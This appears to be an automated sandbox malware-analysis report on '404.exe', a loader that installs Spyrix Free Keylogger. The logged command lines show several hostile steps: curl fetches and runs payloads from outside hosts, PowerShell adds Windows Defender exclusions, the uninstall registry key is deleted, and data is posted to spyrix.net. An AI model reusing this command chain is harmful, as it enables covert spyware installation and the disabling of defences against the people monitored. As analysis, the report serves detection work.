zzFNhQAHE760EOHNuZkOvpWJy'

Source: classification engine

Classification label: mal54.troj.evad.winEXE@178/1067@16/9

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 60_2_00DDA2A0 GetLastError,_errno,strncpy,FormatMessageA,strrchr,strrchr,_errno,_errno,GetLastError,SetLastError,

60_2_00DDA2A0

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_03357890 GetDiskFreeSpaceA,

46_2_03357890

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 60_2_00DC3700 memset,GetLastError,CreateToolhelp32Snapshot,GetLastError,Module32First,Module32Next,CloseHandle,

60_2_00DC3700

Source: C:\Users\user\Desktop\404.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\404.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03

Source: C:\Users\user\Desktop\404.exe

File created: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41

Jump to behavior

Source: Yara match	File source: 66.0.spmm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000042.00000000.3090859103.0000000000401000.00000020.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-2D6JG.tmp, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"

Source: 404.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: 404.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cmd.exe" OR Caption = "wlg.exe" OR Caption = "spmm.exe" OR Caption = "spkl.exe" OR Caption = "spm.exe" OR Caption = "sem.exe" OR Caption = "clv.exe" OR Caption = "akl.exe" OR Caption = "sps.exe" OR Caption = "sime64.exe" OR Caption = "ff.exe" OR Caption = "mrec.exe" OR Caption = "clvhost.exe" OR Caption = "ffws.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cmd.exe" OR Caption = "wlg.exe" OR Caption = "spmm.exe" OR Caption = "spkl.exe" OR Caption = "spm.exe" OR Caption = "sem.exe" OR Caption = "clv.exe" OR Caption = "akl.exe" OR Caption = "sps.exe" OR Caption = "sime64.exe" OR Caption = "ff.exe" OR Caption = "mrec.exe" OR Caption = "clvhost.exe" OR Caption = "ffws.exe")
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SPM.EXE'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SEM.EXE'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SPKL.EXE'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'CLV.EXE'

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\404.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: spkl.exe, 0000002E.00000003.3205988510.00000000071B8000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3155949966.00000000071B8000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3171158502.00000000071B8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE if not exists `wlog` (`id` INTEGER PRIMARY KEY AUTOINCREMENT,`sTime`TEXT,`sJSon`TEXT);

Source: 404.exe	ReversingLabs: Detection: 76%
Source: 404.exe	Virustotal: Detection: 75%

Source: spkl.exe	String found in binary or memory: NATS-SEFI-ADD
Source: spkl.exe	String found in binary or memory: NATS-DANO-ADD
Source: spkl.exe	String found in binary or memory: JIS_C6229-1984-b-add
Source: spkl.exe	String found in binary or memory: jp-ocr-b-add
Source: spkl.exe	String found in binary or memory: JIS_C6229-1984-hand-add
Source: spkl.exe	String found in binary or memory: jp-ocr-hand-add
Source: spkl.exe	String found in binary or memory: ISO_6937-2-add
Source: qrl.exe	String found in binary or memory: id-cmc-addExtensions
Source: qrl.exe	String found in binary or memory: t xml:space=.gif" border="0"</body> </html> overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script> /favicon.ico" />operating system" style="width:1target="_blank">State Universitytext-align:left; document.write(, including the around t
Source: qrl.exe	String found in binary or memory: Unable to complete request for channel-process-startup
Source: qrl.exe	String found in binary or memory: set-addPolicy
Source: qrl.exe	String found in binary or memory: dns-ipv4-addr
Source: qrl.exe	String found in binary or memory: dns-ipv6-addr
Source: qrl.exe	String found in binary or memory: false-start
Source: qrl.exe	String found in binary or memory: --dns-ipv4-addr <address>
Source: qrl.exe	String found in binary or memory: --dns-ipv6-addr <address>
Source: qrl.exe	String found in binary or memory: --false-start
Source: qrl.exe	String found in binary or memory: -h, --help
Source: qrl.exe	String found in binary or memory: -h, --help
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information

Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe

File read: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\404.exe "C:\Users\user\Desktop\404.exe"
Source: C:\Users\user\Desktop\404.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe"
Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp "C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp" /SL5="$70296,32862490,227328,C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe"
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\pswd.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '404.*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\reg.exe "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,7642433025411638348,18067378609004413491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "sem"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spkl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "clv"
